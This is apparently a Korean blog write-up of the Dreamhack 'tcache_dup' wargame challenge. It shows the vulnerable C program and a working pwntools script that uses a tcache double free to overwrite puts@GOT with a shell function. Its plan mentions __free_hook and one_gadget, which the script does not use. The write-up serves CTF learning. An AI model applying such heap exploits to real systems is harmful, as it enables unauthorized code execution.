[Dreamhack Wargame] tcache_dup

don't panic·2023년 12월 11일
0

System Hacking wargame

목록 보기
13/39

code 분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

create(cnt)

  • ptr[cnt] = maloc(size); -> read(0, ptr[cnt], size);

delete()

  • free(ptr[idx]);

checksec

  • Partial RELRO, NX 보호기법이 켜져 있어서 GOT overwrite을 하면 될 것 같다.

exploit 설계

  • double free bug에 대한 보호 기법이 걸려있지 않다.

  • 따라서 double free된 chunk를 하나 만들고, __free_hook가 가리키는 값을 one_gadget으로 바꾼다.

exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 16157)
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")

get_shell = e.symbols['get_shell']
puts_got = e.got['puts']

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))

# Double Free
create(0x10, "dreamhack")
delete(0)
delete(0)

# Overwrite puts_got -> get_shell
create(0x10, p64(puts_got))
create(0x10, 'A'*8)
create(0x10, p64(get_shell))

p.interactive()

0개의 댓글